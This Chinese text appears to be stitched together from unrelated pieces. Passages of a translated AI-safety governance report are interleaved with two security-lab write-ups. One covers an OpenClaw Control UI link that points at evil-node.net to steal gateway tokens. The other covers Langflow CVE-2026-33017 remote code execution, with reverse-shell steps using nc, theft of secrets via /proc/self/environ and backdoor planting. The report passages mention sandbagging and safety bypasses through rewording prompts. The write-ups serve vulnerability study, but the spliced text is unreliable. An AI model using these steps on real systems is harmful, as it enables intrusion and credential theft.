早期的部分监管办法通过引入法律要求提高风险管理标准化和透明度。2024年生效的欧盟《AI法案》对通用AI模型的透明度、版权和安全性提出了要求。2025年发布的《通用人工智能实践准则》通过提供模型文档和版权方面的指导，以及针对最先进的模型提供的风险管理实践支持对义务的遵守。

此外，韩国的《人工智能发展与信任基础创建法》引入了在关键行业中影响较大的AI的要求，美国的SB 53法案对安全框架和事件报告设定了透明度要求。这些要求最近才制定出台，详细评估它们如何影响风险管理实践或实际风险结果还为时过早。

更多治理举措提供自愿性指导

目前，多个区域和跨区域治理框架为决策者和组织提供非约束性指导，阐明了对通用AI风险管理的共同期望。中国于2025年发布的《AI安全治理框架2.0》就AI开发和部署过程中的风险分类和应对措施提供了结构化指导。东盟成员国发布的《东盟AI治理与伦理扩展指南（生成式AI）》就通用AI的治理和伦理问题提供了指导，促进东盟成员国之间政策的更大协调。此外，专家主导的诸多倡议也提出了相关建议。例如，《新加坡共识》由来自多个国家的AI领域科学家制定，概述了通用AI安全在风险评估、开发和控制方面的研究重点。

可信的生态系统中，不同的AI参与者在整个生命周期中贡献的风险管理实践可以互补，可能对进行有效的风险管理起到一定作用。但目前仍缺乏以下方面相关的依据：如何衡量新兴风险的严重程度、普遍性和持续时间；这些风险在现实中可在多大程度上得到缓解；如何有效地鼓励或强制不同参与者采取缓解措施。随着AI模型被赋予越来越大的自主性和权限，以及AI当前的发展趋势，我们需要开展更多研究，了解不同风险的普遍程度以及在世界不同地区（尤其是亚洲、非洲和拉丁美洲等正在快速数字化的地区）的差异程度。

随着通用AI风险科学的进步，风险管理方法也需要不断发展。部分风险缓解措施正日益普及，但仍需开展更多研究，了解不同群体和中小企业等AI参与者在实践中风险缓解和保障措施的有效性。获取更多关于模型实际部署和使用情况的数据对于此类评估至关重要。此外，目前领先的AI企业在风险管理方面采取的措施差异很大。有观点认为，开发人员的激励机制与全面的风险评估和管理并不匹配。目前，关于不同自愿承诺的履行程度、公司在完全遵守承诺方面面临的障碍以及如何将前沿AI安全框架整合到更广泛的AI风险管理实践中，这些问题及其解决办法相关的依据仍然不足。

决策者面临的主要挑战包括如何确定通用AI带来的各种风险的优先级，明确哪些参与者最适合参与到风险缓解的实践中，以及了解影响其行动的激励因素和制约因素。有证据表明，决策者目前难以获取AI开发人员和部署人员如何测试、评估和监控新兴风险以及不同缓解措施的有效性的相关信息。研究人员和决策者已探讨了提高透明度和建立更系统的事件报告机制，作为确定风险优先级、促进信任和激励负责任开发的可能途径。实际上，风险管理涉及AI价值链上的多个参与者，例如数据和云提供商、模型开发人员和模型托管平台，不同参与者的风险评估和风险管理的场景不同。这些参与者之间信息共享有限，难以确定发生概率最大或影响最大的风险，尤其是在考虑下游社会影响时。

文章相关信息

免责声明

在OpenClaw安全实战系列 (一)：突破信任边界 — Agent Skill供应链投毒路径重现及自动化靶标建设中，我们讨论了如何防范来自三方扩展插件的恶意注入；而在OpenClaw安全实战系列二：白名单也防不住？复盘CVE-2026-28363授权绕过全过程中，我们剖析了底层系统命令解析时的语义盲区。

如果说前两篇侧重于“意图欺骗”与“解析绕过”，那么本篇作为系列三，我们将视野移向OpenClaw的控制平面安全。即便配置了完美的插件白名单和严格的命令审计，如果控制端的“网关指向”本身可以被篡改，攻击者依然能绕过所有执行侧的防御，实现对代理的完整接管。

• OpenClaw Gateway：OpenClaw的后端网关，基于Node.js构建的核心引擎，负责管理LLM接口、维护工作区文件系统、执行系统级工具以及处理所有敏感凭据。通常运行在受控的服务器或本地宿主机上。

• Control UI：OpenClaw的前端控制台，基于React构建的高级交互界面。是用户与代理对话、查看日志、配置系统的主要入口。

这两者之间通过WebSocket协议进行双向实时通信。在典型的部署场景中，控制端需要获知网关的精确地址（如ws://127.0.0.1:18789）方可建立连接。

风险产生的深层背景在于OpenClaw这一架构设计中所体现的便利性逻辑：在实际应用中，用户通常会通过一个统一的Control UI控制台，来管理分布在不同环境下的多个后端网关。例如，一名安全研究员可能同时维护着本地开发机上的测试节点、远程云服务器上的生产节点。为了免去用户每次打开网页后，都需要进入设置菜单手动输入繁琐的WebSocket 地址（如 ws://10.x.x.x:18789，如下图所示），开发团队为此引入了一个基于URL参数的动态覆盖机制：

通过在Control UI的访问链接末尾添加?gatewayURL=...，用户可以创建一组类似浏览器书签的快捷方式，实现一键直达特定的运行环境。然而，这种设计陷入了一个典型的安全误区：系统默认信任了URL这个完全由外部控制的输入源，并将其视为合法的内部配置。攻击者正是利用了这一点，将合法的Control UI域名与恶意的后端地址进行非法通信，使得一个本应私密的网关切换功能，沦为了公开的身份令牌窃取入口。从而直接打破了系统对通信终点的信任。

为了让读者对威胁场景有一个清晰的理解，我们设定场景为某攻击者在开发者社区发布了一个名为OpenClaw提示词优化插件演示的推文，并附带了一个恶意链接，如下所示：

http://x.x.x.x:18789/chat?gatewayURL=ws://evil-node.net:13337

攻击者画像：

攻击者利用受害者在浏览器中保持Control UI登录的习惯，构造诱导上述链接。一旦受害者点击，前端Control UI将连接至攻击者恶意构造的服务器，直接针对Control UI应用的逻辑缺陷绕过传统边界防护。

受害者画像：

一名正在浏览器中运行OpenClaw实例的开发者。由于其已经保持了Control UI登录状态，当他因对攻击者发布的推文感兴趣并进而点击攻击者构造的恶意链接时，浏览器会直接加载已有的前端会话（session、user info信息等）。

攻击执行过程：

1.信任背书：由于攻击者在官方社交软件或开发社区中发放推文，受害者出于兴趣，直接点击了恶意链接，并未产生防备心。

2.逻辑劫持：控制端UI加载时，解析到恶意参数gatewayURL。

3.建立连接：控制端不再连接本地的18789端口，而是主动向攻击者的恶意服务器发起WebSocket握手。

4.凭证发送至网关：在WebSocket建立后的第一个验证包中，控制端会自动将受害者的身份令牌发往恶意网关。受害者仅能从右上角看到“Connected”状态，却无法察觉数据流向已发生偏移。

这种1-Click攻击的精妙之处在于，它利用了合法域名下的合法逻辑缺陷， 实现了对身份凭证的无感窃取。

5. 执行RCE高危操作：攻击者已通过网关身份认证，可以通过访问Control UI Chat页面进行RCE等危险操作。

通过以上内容，我们了解到该漏洞存在于OpenClaw的Control UI允许通过URL参数动态覆盖后端Gateway地址，且在连接新Gateway后端时未进行充分的安全性校验或用户确认，攻击者可以诱导受害者访问恶意链接，从而劫持WebSocket连接并窃取身份验证令牌。一旦获得令牌，攻击者即可接管受害者的机器人session并执行任意系统命令。

下载源码：

https://github.com/OpenClaw/OpenClaw/releases?page=3获取脆弱版本。

构建部署：https://docs.OpenClaw.ai/install 执行环境安装与前端构建[1]。

启动网关：node ./dist/index.js gateway run运行后端网关服务。

令牌配置：从配置文件中获取网关授权令牌。

通过令牌访问Control UI，显示Connected即Control UI连接Gateway成功

本漏洞复现场景可参考1.2小节中的威胁场景介绍，攻击者通过在攻击机上部署恶意服务器构造恶意网页诱发受害者点击，执行1-Click操作。以下为具体攻击脚本构造与执行效果验证过程。

本文研究漏洞的攻击脚本参考https://github.com/ethiack/moltbot-1click-rce实现：

核心攻击脚本包括一个单python文件（exploit.py）的Flask服务，以及html模版（核心包括触发OpenClaw重定向的页面lolada1.html与执行远程代码的页面lolada2.html），核心内容包括网关地址劫持、身份凭证窃取、伪造身份远程代码执行三部分

核心流程包括：

1. 网关地址劫持

攻击者构造一个恶意网页lolada1.html，利用window.location将受害者重定向到带有恶意参数的合法OpenClaw页面，如利用脚本强制受害者重定向这一步利用了OpenClaw前端会优先解析URL中gatewayURL参数的特性，将原本指向127.0.0.1:18789的通信目标强行修改为攻击者的服务器。

2. 身份凭证窃取

受害者的浏览器会向攻击者的服务器发起WebSocket 握手。按照 OpenClaw的协议，会在第一个数据包中包含用户的token。攻击者模拟了一个合法的网关，诱导客户端进行身份验证握手。

3. 伪造身份远程代码执行

攻击者获得令牌后，通过lolada2.html页面，绕过被篡改的网关，直接向真实的OpenClaw服务器发起连接。攻击者不仅拥有令牌，还利用crypto.subtle API生成了合法的设备签名。由于OpenClaw信任该令牌，它会将攻击者的指令视为受害者的合法操作并执行系统命令。

针对AI Agent架构下的安全挑战，单一的补丁升级难以应对复杂的动态威胁，需从多个维度构建防御体系。

源验证机制：控制端应引入严格的网关地址白名单校验，禁止从未经授权的参数中解析连接目标。

令牌安全加固：弃用URL传参方式，身份令牌应存储于加密且具备安全标志的会话存储中，并配合短暂的有效期与刷新机制。

跨域策略收紧：在网关侧实施严格的跨域资源共享策略，并强制校验 WebSocket握手的来源字段。

零信任沙箱：将代理的执行环境容器化。即便控制平面被攻破，攻击者的指令也被限制在受控的临时沙箱内，无法触及宿主机全局文件系统或敏感环境变量。

最小权限原则：不仅限制代理能执行的命令种类，还应限制其网络访问范围，防止被作为内网横向移动的跳板。

关键操作人工干预：对于涉及系统变更、外网连接或权限提升的操作，强制开启用户审批模式，防止自动化链路下的一键沦陷。

实时行为监测：建立基于行为指纹的异常监测模型。当代理发出不符合日常模式的指令流或连接异常网关时，系统应能即时熔断连接并触发告警。

绿盟科技星云实验室已将该复现逻辑集成于AI靶场，重点呈现：AI系统对外部环境的威胁：演示受控代理如何成为内网渗透跳板。外部环境对AI系统的威胁：还原通过Control UI劫持接管代理系统的全过程。

AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

AI系统对外部环境的威胁场景：在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

参考文献

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

开发人员、研究人员和决策者正致力于开发和实施适用于通用AI的风险管理实践，但仍处于起步阶段。AI研发企业会测试模型是否存在危险功能，训练模型拒绝有害请求，通过监控部署情况检测和应对攻击者对AI的恶意利用。但没有任何安全措施能达到绝对可靠，所有技术措施都面临着多种问题和挑战。评估依据不足是问题之一，及时且可靠地生成AI能力和影响相关的依据十分困难，部署前的评估往往无法预测AI在实际环境中的行为。信息不对称问题指研究人员和决策者往往缺少AI开发过程和部署影响的相关信息。

这些限制意味着组织通常采用纵深防御（defence-in-depth）的方式管理AI风险，实施多层安全措施。组织风险管理实践有助于系统地识别、评估和降低风险发生的可能性和严重程度，而技术安全措施则在模型、系统和生态系统层面发挥作用。开放权重模型给这些技术措施带来了特殊的挑战，因为模型复制、修改和在受控环境之外的部署会使攻击者的恶意利用行为更难预防和追踪。社会韧性建设措施有助于广泛采用系统抵御、缓解、恢复措施并适应通用AI带来的冲击和危害。

通用AI在各方面都取得了进展，更加可靠、安全和值得信赖，但依然存在局限性，而且难以预测现有的保障措施能否抵御功能更强大的系统带来的风险，以及尚未考虑到的未知因素可能带来的风险。这会造成依据不足问题，决策者在对通用AI的能力和风险尚不明确的情况下，很难作出选择，但等待更多依据的出现可能会使风险加剧。

AI给决策者带来了各种制度和技术挑战，下文主要讨论10个方面的挑战，大致可分为4类：科学认知差距、信息不对称、市场失灵、制度构建和协调挑战（见图3.1）。

2025年以来，有些问题有所缓解，而有些则有所加剧。开放权重模型方面取得的进展可能有助于更多研究人员研究高性能模型。有些国家或地区制定了透明度和事件报告框架，可能会为决策者提供更多相关信息，但措施方面的进展在近期才出现，其在实践中的适用性暂不确定。

技术的复杂性、发展速度以及部署场景多样化等特征使决策者很难评估和管理这些问题。其中有些挑战源于AI的特性导致了诸多问题，例如模型行为解释或能力评估困难，其他挑战则源于社会结构和激励措施如何影响政府、企业和研究人员收集并基于风险采取行动的能力。科学认知差距和信息不对称造成了依据不足的问题。在掌握通用AI的能力和风险的明确依据之前，决策者可能面临艰难的决策。在掌握的信息不完整的情况下采取行动，可能会导致实施的干预措施无效甚至存在危害。但如果原地等待最终结果的出现，可能使社会受到诸多风险的影响。市场调节失灵和制度构建方面的挑战加剧了这一问题，造成激励机制错位和协调困难，这些问题会持续存在。

第1类：科学认知差距

研究人员目前无法可靠地训练AI使其按预期目标运行，也无法解释AI为何产生特定输出，现有的评估方法无法在部署前十分有效地识别危险功能。

训练目标仅能反映部分预期目标

通用AI模型的复杂训练过程使得开发人员难以预测模型的能力和行为，原因有以下几点。首先，训练中使用的数学问题目标通常只捕捉到开发人员的部分意图。例如，模型可能被优化为预测序列中的下一个单词，而实际目标是创建用户友好型产品，用于高效地提供准确且有用的信息，这两个目标仅部分契合。其次，开发人员在初始训练后添加的以安全为中心的缓解措施可能无法推广到所有输入。例如，模型使用训练数据中不常见的语言进行提示时，有时可能会绕过安全措施。

这些问题可能带来严重后果。AI模型在真实性、安全性和稳健性方面始终存在缺陷，在确保安全措施在不同环境下保持有效方面仍存在根本性问题，尚无法解决。研究人员还证明，模型可以被训练生成虚假信息来完成任务，即使采取了安全缓解措施，这种行为仍然存在，而且模型在部署环境中的能力表现可能与训练时不同。实验环境中观察到的行为能力可能无法推广到现实中的部署场景，这凸显了确保模型按预期运行的核心技术挑战。

无法充分解释AI输出原理

当前的技术无法充分解释AI模型如何产生输出，研究人员尚不清楚特定输入如何产生特定输出。通用AI模型涉及数十亿甚至数万亿个参数，这些参数在大规模数据集上进行调整，并且以高度分布式的方式在神经元之间表示信息，使得在技术上难以分辨模型的哪些部分负责特定行为，这通常被称为AI的“黑箱”特性。用于解释模型内部工作原理的“可解释性”技术需要做出重大的简化假设，使用不当可能会产生误导。

可解释性的缺失给AI稳健性、安全性和可靠性保障带来了根本性挑战。成熟的安全行业中，系统通常必须达到可量化的可靠性阈值，与此不同的是，计算机领域的科学家目前无法提供可靠的、可量化的保证，确保AI不会实施某些有害行为，或确保AI始终能够完成任务或输出正确答案。这使得制定监督措施和安全测试标准以及在AI产生危害时确定责任的问题更加困难。研究人员正致力于可解释性技术的研究，同时开发补充验证和监控框架，如果取得新进展，有助于人们进一步掌握AI的原理，采取更可靠的风险预防措施。

部署前评估的能力与实际应用中的能力存在差距

当前的方法对AI模型的能力和行为倾向的评估并不完全可靠。研究人员正在制定的AI能力和现实影响的衡量指标仍不成熟且分散，针对AI智能体设计的评估方法也面临类似的局限性。这使得以安全为中心的评估的核心目标难以实现，难以充分衡量、监控和缓解风险。评估和测试方法主要存在3个局限性。

首先，许多基准测试无法准确衡量和评估AI的具体能力。例如，研究人员通常使用多项选择题形式，模型可以使用捷径而非更稳健的方法生成正确答案，导致性能评分虚高。对基准质量的评估可能十分困难，因为评估实践本身可能不透明、不一致，并且依赖于不透明的数据集、临时程序或未经验证的指标。此外，评估模型的某些风险（特别是危险能力）可能需要提示它们参与危险活动，例如武器开发中的某些任务。与其他场景相比，模型的性能在评估测试场景中可能会下降，这种情况被称为“沙袋效应”，研究人员在实验中发现了这类情况。

其次，仅凭基准测试无法可靠地预测AI在现实场景中的行为。要了解AI在实践中带来的风险，需要考察不同用户如何与其交互以及由此产生的后果等实际部署情况。例如，最近一项研究表明，通过微调使某个语言模型看似热情或富有同理心，其犯错的可能性增加了10-30个百分点，该模型可能传播阴谋论、验证错误观点以及提供不安全的医疗建议。然而，这些易出错的AI模型在基准测试中的分数与更可靠的模型的分数相近，这意味着某些危害结果只有在实际部署时才会出现。另一项在医疗环境中进行的研究发现，基准测试中性能优异的模型在超过30万次的真实交互中，针对临床问题输出了不安全或模糊的结果。

最后，部署前的测试无法预测未来可能出现的所有异常模式。潜在用例及其相应风险类型多样，难以通过测试预测所有潜在的异常模式。研究人员证明，如使用过去时态等对有害提示语进行简单改写的方法可以使模型绕过安全微调技术。

第2类：信息不对称

决策者面临的第2类挑战是，AI开发人员拥有AI相关的关键信息，而外部相关者缺少这部分信息。开发人员知道他们使用了哪些数据进行训练、开发过程中出现了哪些安全问题以及模型在内部评估中的能力表现如何。然而，其中大部分信息并未公开。这种信息不对称意味着决策者有时缺少某些类型的数据和依据，从而无法及时作出决策。

AI开发人员通常不公开训练数据相关信息

公司通常会限制开发人员分享用于训练通用AI模型的数据的用途、获取途径和处理方法等相关信息，这种做法的原因包括保护知识产权、保持竞争优势、提高AI模型的安全性等。但不公开信息可能掩盖某些做法，如使用受版权保护或未经授权的数据进行训练。用于训练AI模型的数据特征对其行为影响巨大，因此这些数据的相关信息对于风险管理工作至关重要。例如，最近的研究表明，过滤训练数据可以防止模型发展出自主认知等危险能力。

开发成本高、资源和权限不对等，阻碍外部研究和效仿

开发高级的通用AI模型需要大量的数据、算力和人才资源，耗费数亿美元（见图3.2）。自2020年以来，开发成本每年增长约3.5倍，如果继续以这种速度增长，到2027年，规模最大的模型训练耗资将超过10亿美元。巨大的资源需求使得独立的科学复制成本过高，限制了独立研究人员审查特定技术决策的能力。

领先的AI企业能够使用系统功能更强大的内部AI模型，进一步扩大了开发人员内部可访问的系统与外部研究人员和公众可访问的系统之间的差距。尽管最近开发人员促进了对模型训练的开放式科学探究的进程，但独立研究人员和小型企业通常缺少研究训练方法所需的算力、资金和基础设施资源，所以无法达到AI企业内部研究人员研发的水平。

第3类：市场失灵

市场动态可能导致公司激励与社会最优的AI风险缓解水平之间出现不匹配的情况。当危害分散、延迟或难以追溯根源时，私人机构投资安全措施的动力就会降低。AI的许多潜在危害会影响个人、组织或社区等第三方。因此，公司可能没有足够的动力投资于研究和减少危害的措施。例如，如果AI能够生成未经同意的私密图像，受害者将承担额外的心理压力和社会成本。这代表了一种典型的市场失灵的情况，开发产品的成本并不代表全部社会成本。

竞争加剧发展速度与安全性保障之间的权衡问题

相对于更重视研发速度的公司，在风险缓解方面投入巨资的公司在竞争中可能处于劣势。例如，为了进行更多测试而推迟模型发布，可能会导致市场份额被其他竞争对手抢占。有些领先的AI开发企业自愿采取了常见的安全措施，但目前没有足够的证据证明这些措施长期有效。这种竞争情况不仅限于单个公司之间，其他国家也在快速开发AI模型，各国政府将AI研发视为具有经济和战略意义的事项。在此背景下，各国可能面临在提升国内AI能力和实施AI技术之间进行权衡取舍的问题。安全措施可能会减缓发展，尤其是在他们认为其他国家没有采取类似措施的情况下。

现有的责任框架是否适用于通用AI模型

现有的责任框架能否充分应对AI可能造成的损害仍存在不确定性。AI企业受侵权法、刑法和合同法等现有法律框架的约束，受害者可以就损害寻求赔偿。有专家认为，责任制度将在确保因使用或与AI交互而受到损害的受害者获得基本保护方面发挥关键作用。然而，AI可能给责任框架带来特殊的挑战，损害可能难以追溯到具体的设计选择，尤其是在风险管理流程的完整信息尚未公开的情况下，而且责任分散在AI开发人员、应用程序构建人员和部署人员及其用户之间，无法明确具体责任归属。对AI智能体部署场景的人工监督减弱，导致这种不确定性日益加剧。这些挑战在实践中的具体影响尚不清楚，但随着AI部署范围的扩大，各企业或组织需要持续关注。

第4类：制度构建和协调

AI的发展速度使政府、研究和学术机构难以有效测试并及时发现AI风险相关的依据，难以建立有效的应对措施。有些机构难以拥有足够的技术能力和资源参与AI的研发，还有些机构可能尚未充分认识到通用AI发展的规模和对社会的影响。此外，少数基础模型被不同行业和不同国家广泛应用，引发了协同问题和整体依存关系问题。

AI发展速度快于传统治理周期

AI性能每月都在显著提升，而重大立法通常需要数年时间才能完成起草、讨论和实施。这意味着，在政策制定过程中，AI格局可能会发生变化，更加难以制定能够应对新出现的风险并适应未来变化的政策。例如，当前有些方法使用基于训练计算量的阈值来确定风险管理要求。然而，模型的推理时间持续缩短可能会对此类阈值的有效性造成挑战，因为开发人员可以通过在推理而非训练期间使用更多算力来提高模型性能。

过度依赖少数几种模型造成单点故障

在众多行业和用例中部署数量有限的通用AI模型，会在整个AI生态系统中造成共享问题。目前，医疗、金融、教育等领域应用的AI模型主要由美国和中国开发（见图3.3），累计影响数十亿用户。当同一模型支持多种应用时，模型中的异常会影响所有依赖于它的应用。因此，单个漏洞可以导致多个领域应用的模型同时出现故障并造成损害。即使是表面上独立的模型，也可能由于模型趋同而出现相同的漏洞，因为独立开发的系统处理信息的方式相似。

跨部门部署使得开发人员、监管机构和决策者难以掌握和监控全部的AI治理问题。部署后难以解决实际出现的问题，会导致运营中断，而且当前部署后措施的有效性十分有限。

跨境部署导致AI的治理问题更加复杂

各国都面临AI治理方面的挑战。在某个国家或地区开发的AI模型经常被部署到其他国家或地区，除了开发或训练AI模型的国家以外，其他部署了AI模型的国家也可能受到损害。如果国际上没有有效的协调措施，各国将更难应对跨境外部性、监管套利（即企业为了规避更严格的规则而进行迁移）、各国治理能力不均以及互操作性等方面的挑战（即不兼容的国家标准导致市场分裂或降低安全措施的有效性）。

同时，国际协调也会产生成本，限制国家主权，减少监管实验，可能导致具有不同优先级标准和价值观的国家之间进行旷日持久的谈判，还可能降低各国根据自身特定的文化、经济和制度背景调整框架所需的治理灵活性。这意味着确定是否需要国际协调以及在何处需要国际协调，以及国际协调应采取何种形式，是一个持续的挑战。

2025年以来，中国、欧盟和美国等多个国家或地区呼吁并开始实施举报人保护和事件报告机制等措施。加速依据产生，改进风险管理。措施包括安全评估和透明度披露，如发布安全协议和模型卡片，产生了更多政府和公众的能力和风险相关的依据，可能提高透明度和问责制。有些方面的挑战略有缓解。虽然前沿AI训练的总体成本持续上升，但开放模型的最新进展早期分布式和去中心化训练实验可能会扩大科学获取途径。另一方面，AI在各领域的更广泛应用扩大了可能出现的故障问题。

文章相关信息

免责声明

Langflow是一个开源的、基于Python的低代码AI编排平台。它通过可视化编辑器，使开发者能够以拖拽组件的方式快速构建流式的AI应用原型[1]。

Langflow的核心工作单元是“流”（Flow），它是应用程序工作逻辑的功能性表示。流由多个组件（Component）构成，每个组件代表工作流中的一个独立步骤。除系统内置组件外，Langflow还支持自定义组件（Custom Component），组件允许开发者使用Python代码扩展平台功能。这意味着，用户提供的任意Python代码将在流被触发时由Langflow后端动态加载和执行。

为支持便捷的分享与协作场景，Langflow设计了“公共流”（Public Flow）机制。任何知晓该流ID的人均可通过公共流构建接口（/api/v1/build_public_tmp/{flow_id}/flow）匿名执行该流。该接口还接受一个可选的data参数，允许调用者向接口提交额外的数据。

上述机制中的公共流实现正好导致了CVE-2026-33017漏洞。攻击者可通过该漏洞构造特殊请求，在目标服务器上执行任意代码[2]。为了更好地理解该漏洞的形成机制，接下来我们从设计和实现两个层面进行分析。

Langflow的公共流构建接口存在严重的安全风险，其本意是给定一个公共流的ID，从数据库加载该流的定义，然后执行构建。这是一个典型的“只读+执行”模式，无需认证也是可以理解的，因为流本身已经是公开的。

然而，该接口的实现增加了一个可选的data参数，其语义是“如果调用者自定义了流内容，则优先使用该定义，而不是从数据库加载”。这一设计可能出于临时预览或调试的考虑，但却带来了两个致命问题：

• 无条件覆盖：只要请求中携带了data参数，系统就会完全忽略数据库中已存储的可信流定义，转而使用攻击者提供的内容。

• 无任何校验：系统没有对data的来源进行任何认证或签名校验，也没有对其内容进行任何安全审查。

这也违反了安全架构的基本要求，系统应当严格区分两种数据源：一是数据库中的可信数据（由授权用户创建），二是用户请求中的不可信数据（完全由外部控制）。Langflow的错误在于将二者置于同一优先级，且无条件地优先使用不可信数据来覆盖可信数据。更严重的是，该接口本身就是无需认证的，这意味着任何能够访问该服务的人都可以利用这一设计缺陷。

当包含任意代码的data参数经未授权请求进入接口层后，它并不会被拦截或校验，而是沿着一条预设的函数调用链向下传递，经过“数据分流”、“图构建”、“组件实例化”等多个环节的处理，最终抵达危险的exec()执行点。如图2所示，这条完整的调用路径中，每个环节都暴露出特定的安全缺陷——或是缺失认证，或是无条件覆盖，或是缺乏校验，或是无沙箱执行[3]。

第一个环节是构建公共流入口函数

（build_public_tmp），位于：
src/backend/base/langflow/api/v1/chat.py，关键代码如下：
@router.post("/build_public_tmp/{flow_id}/flow")
async def
build_public_tmp(
    *,
    data: Annotated[FlowDataRequest | None,
Body(embed=True)] = None,
    ……
):
    # 无认证检查
    await start_flow_build(data=data, ……)

该函数是公共流构建的HTTP接口，其设计预期是从数据库加载已存储的流定义并执行，因此无需认证。然而，该接口直接接受一个可选的data参数，且未添加任何认证依赖。攻击者可任意构造data内容并在请求中提交。

第二个环节是位于

src/backend/base/langflow/api/build.py的数据分流函数(create_graph)，相关代码逻辑如下：

.......
if not data:
return await build_graph_from_db(
.......
)

.......
return await build_graph_from_data(
flow_id=flow_id_str,
payload=data.model_dump(),
.......
)

该函数根据是否存在data参数决定构建图的数据来源。其缺陷在于：只要data非空，就会无条件使用攻击者提供的数据，完全忽略了数据库中已存储的可信流定义。

第三个环节的图构建（from_payload）和第四环节的组件实例化函数（_instantiate_components_in_vertices）均位于src/lfx/src/lfx/graph/graph/base.py中。

def
from_payload(
    .......
    if "data" in payload:
            payload = payload["data"]
        try:
            vertices =
payload["nodes"]
            edges = payload["edges"]
            graph = cls(flow_id=flow_id,
flow_name=flow_name, user_id=user_id, context=context)
            graph.add_nodes_and_edges(vertices,
edges)
.......

def _instantiate_components_in_vertices(self)
-> None:
        """Instantiates the
components in the vertices."""
        for vertex in self.vertices:

vertex.instantiate_component(self.user_id)
......

前者解析攻击者提供的节点等数据，将其转换为内部图结构；后者遍历图中的每个顶点并触发组件的实例化流程。遗憾的是，这两个函数均未对节点内容进行任何安全校验或沙箱隔离，只是简单地执行解析和实例化操作

第四个环节是位于

src/backend/base/langflow/interface/initialize/loading.py的代码提取函数（instantiate_class），关键代码为：

......
code =
custom_params.pop("code")
class_object:
type[CustomComponent | Component] = eval_custom_component_code(code)
......

在组件实例化过程中，该模块负责从节点的模板中提取code字段，该字段包含了用户编写的自定义组件Python代码。此模块的缺陷在于仅直接提取了用户提供的代码字符串，未做任何校验、过滤或长度限制。

第五个环节是动态执行，包括

eval_custom_component_code和prepare_global_scope两个函数。其中，prepare_global_scope

位于src/lfx/src/lfx/custom/validate.py，漏洞核心代码为：

......
if definitions:
    combined_module =
ast.Module(body=definitions, type_ignores=[])
        compiled_code =
compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)
......

提取到的代码字符串会被传递至此，prepare_global_scope函数会编译用户提供的代码模块，并执行所有顶层语句。值得关注的是，该函数没有使用任何沙箱机制。攻击者只需在code中写入形如_rce = os.system(“任意注入代码”)的顶层赋值语句，即可在图构建阶段立即触发命令执行，无需等待组件方法被调用。

纵观整个调用链，入口没有认证限制，多源数据允许无条件覆盖，代码提取无校验，无沙箱动态执行——这四个缺陷环环相扣，使得Python代码在无沙箱环境下直接执行，由此构成了完整的未授权远程代码执行漏洞。为进一步验证上述分析并直观展示漏洞的利用过程，接下来我们将基于此构建一个靶场场景，并搭建一个可控的靶标环境。

依据前文的理论分析, 本节将设计一个贴近真实渗透测试的靶场场景，攻击链路如下：

某企业内部署了Langflow服务（默认配置，AUTO_LOGIN=true），版本为受漏洞影响的1.8.1。攻击者获得该服务网络访问权限后，首先发现该Langflow服务可未授权获取管理员Token，于是利用该Token创建了一个名为test的公共流。

随后，攻击者向无需认证的公共流构建接口发送恶意构造的data参数，其中嵌入一段Python代码。该代码在服务端exec()执行后，向攻击者指定的IP和端口发起反向Shell连接，从而完全控制容器。

步骤1：导入容器镜像

docker load -i langflow-1.8.1.tar

步骤2：运行Langflow容器

docker run -d -p 7860:7860 --name langflow-vuln langflowai/langflow:1.8.1

接下来访问 http://<靶机IP>:7860 来验证服务启动，可以看到Langflow界面。

步骤3：验证auto_login可用
curl http://<靶机IP>:7860/api/v1/auto_login返回JSON包含access_token字段。

搭建满足以下要求的攻击机：

• 能够网络访问靶机的7860端口。

• 安装curl和jq（用于解析JSON，非必需）。

至此，我们搭建了完整的靶场环境，接下来我们需要根据靶场场景构造包含Python代码的特定data，其主要结构为： 

data": {
      "nodes": [{
         ……
        "data": {
           ……
          "node": {
            "template": {
              "code": {
                 ……
                "value": "<python代码>",
                 ……
              },
              ……
            },
            …… 

可执行的python代码需要以字符串的形式赋值给"value"字段，具体内容此处不在赘述，但以下两个点需要注意：

1. 关于Payload编码：由于JSON中需要转义双引号和换行符，实际发送时需将Python代码压缩为一行，或使用\n转义。示例中采用\n和反斜杠转义双引号。

2. 关于持久化技巧：bash反弹Shell命令是最常用的方式，但某些容器环境可能没有bash，所以需要使用其他手段进行替代。另外将内容写入文件后执行可绕过一些简单的执行限制。

最终我们构造的Payload分为两步：先写入反弹Shell脚本到临时文件，然后执行该脚本。

第一步：获取Token并创建公共流
创建公共流的接口是要求认证的，所以这里需要利用/api/v1/auto_login接口的匿名特性创建token，然后使用此处的token创建公共流，获取公共流ID。当然，获取公共流ID的方式有很多种，例如扫描泄露的ID或猜测ID。

第二步：监听Shell 
在攻击机上新开窗口执行nc -lvnp 4444 监听反弹shell端口。

第三步：发送请求
在攻击机上执行curl命令请求/api/v1/build_public_tmp/${FLOW_ID}/flow接口，发送构造好的Payload。

第四步：验证Shell
此时，监听窗口会收到来自目标容器的反向连接，执行id、whoami等命令确认控制权。

获得Shell后，攻击者可以进一步持久化与横向移动：

• 读取环境变量：cat /proc/self/environ 窃取API密钥、数据库密码。

• 扫描内网：利用容器作为跳板攻击其他内部服务。

• 植入后门：在容器中写入定时任务或SSH密钥。

由于Langflow通常具有较高权限（实际部署中容器可能以高权限运行，或者直接部署在宿主机上），因此漏洞风险极大，此处不再进行延伸。

官方建议立即更新Langflow至1.9.0及以上版本。修复版本已移除build_public_tmp中的data参数，确保公共流仅从数据库加载。

当然，如果由于业务或其他强制原因暂时无法升级的环境可以使用临时缓解方案

• 在反向代理层（Nginx/Apache）拦截对/api/v1/build_public_tmp/*/flow且请求体包含data字段的POST请求。

